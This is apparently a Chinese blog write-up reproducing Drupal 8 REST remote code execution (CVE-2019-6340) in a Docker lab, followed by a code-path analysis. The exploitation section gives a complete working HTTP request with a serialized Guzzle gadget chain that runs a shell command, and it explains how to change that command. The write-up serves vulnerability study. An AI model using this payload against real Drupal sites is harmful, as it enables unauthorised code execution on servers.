cve-2019-6340 drupal8 rest rce 漏洞复现

雨点打透心脏的1/2处 2021-09-01 11:02 604阅读 0赞

**目录**

0X1 漏洞概述

0X2 环境搭建

0X3 漏洞利用

0X4 漏洞分析

--------------------

### 0X1 漏洞概述 ###

Drupal官方之前更新了一个非常关键的安全补丁，修复了因为接受的反序列化数据过滤不够严格，在开启REST的Web服务拓展模块的情况下，可能导致PHP代码执行的严重安全。

根据官方公告和自身实践，8.6.x或（<8.6.10）两种情况可能导致问题出现：

*  RESTful Web Services拓展开启，并且启用了REST资源（默认配置即可），不需要区分GET，POST等方法即可完成攻击。
 *  JSON：API服务模块开启，此服务尚未分析。

漏洞影响版本：

Drupal < 8.6.10Drupal < 8.5.12

### 0X2 环境搭建 ###

使用search‍‍命令进行查找：

docker search CVE-2019-6340

![20200720165810777.jpeg][]

然后拉取第一个镜像，使用pull命令

docker pull knqyf263/cve-2019-6340

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]

最后等到拉取完成

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1][]

然后启动镜像，运行环境

docker run -d -p 80:80 --name Drupal8  knqyf263/cve-2019-6340

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2][]

访问网站首页

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3][]

### 0X3 漏洞利用 ###

访问漏洞环境并用burp抓包，将数据包改为如下payload，并发送。

POST /node/?_format=hal_json HTTP/1.1
    Host: <漏洞环境的IP:PORT>
    User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
    Connection:  keep-alive
    Content-Type: application/hal+json
    Accept:  */*
    Cache-Control: no-cache
    Content-Length: 636
    
    {
      "link": [
        {
          "value": "link",
          "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
        }
      ],
      "_links": {
        "type": {
          "href": "<漏洞环境的IP:PORT>/rest/type/shortcut/default"
        }
      }
    }

request和response详细信息。其中红色方框内的“id”区域为所执行的命令，数字2则是命令的长度。如果想要执行 echo 1，则前面的数字需要改成 6  
![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L251bGxuYW1lMDM5Ng_size_16_color_FFFFFF_t_70][]

### 0X4 漏洞分析 ###

官方公告中(现已修正)一开始仅仅说开启POST/PATCH两种请求方式才会收到攻击，其实并不区分类型，上图就是GET请求的攻击，因为程序在进入在对请求进行deserialize的时候，是还是通过php://input进行获取请求内容。

[![image-20190224232428879.png][]][image-20190224232428879.png 1]

跟进$request->getContent

[![image-20190224232339576.png][]][image-20190224232339576.png 1]

获得请求内容后，使用$this->serializer->decode对请求内容进行解码并赋值$unserialized。

[![image-20190225113720396.png][]][image-20190225113720396.png 1]

然后传入$this->serializer->denormalize函数，Drupal 8的Serialization API是主要基于Symfony Serializer组件，具体可参加文档。

[![serializer\_workflow.png][serializer_workflow.png]][serializer_workflow.png_serializer_workflow.png]

一路跟进直到getTypeInternalIds函数，检查url是否是网站已知的类型。

[![image-20190225115619309.png][]][image-20190225115619309.png 1]

继续跟进，真正的判断在这个位置，函数栈如下：

[![image.png][]][image.png 1]

继续跟进，将结果变量$typed\_data\_ids\['entity\_type'\]传入getEntityTypeDefinition函数，取实体的定义类型。

[![image-20190225133117060.png][]][image-20190225133117060.png 1]

继续跟进，此时$context\['target\_instance'\]中包含Drupal\\Core\\Field\\FieldItemList的实例。

[![image-20190225141824210.png][]][image-20190225141824210.png 1]

继续跟进，经过$items->appendItem()后，$context\['target\_instance'\]被重新赋值，此时包含Drupal\\link\\Plugin\\Field\\FieldType\\LinkItem的实例。

[![image.png][image.png 2]][image.png_image.png 2]

继续跟进，将$context\['target\_instance'\]中的实例赋值给$field\_item，然后调用$field\_item->setValue方法，并传入了$data。

[![image-20190225142931886.png][]][image-20190225142931886.png 1]

data的值如下：

[![image-20190225143810000.png][]][image-20190225143810000.png 1]

继续跟进setValue函数，这里的$values\['options'\]可控，找到反序列化漏洞的触发点。

[![image-20190225145134766.png][]][image-20190225145134766.png 1]

利用Drupal自带的Guzzle库，FnStream类的析构函数中包含call\_user\_func，进行利用链的构造。

[![image-20190225151230070.png][]][image-20190225151230070.png 1]

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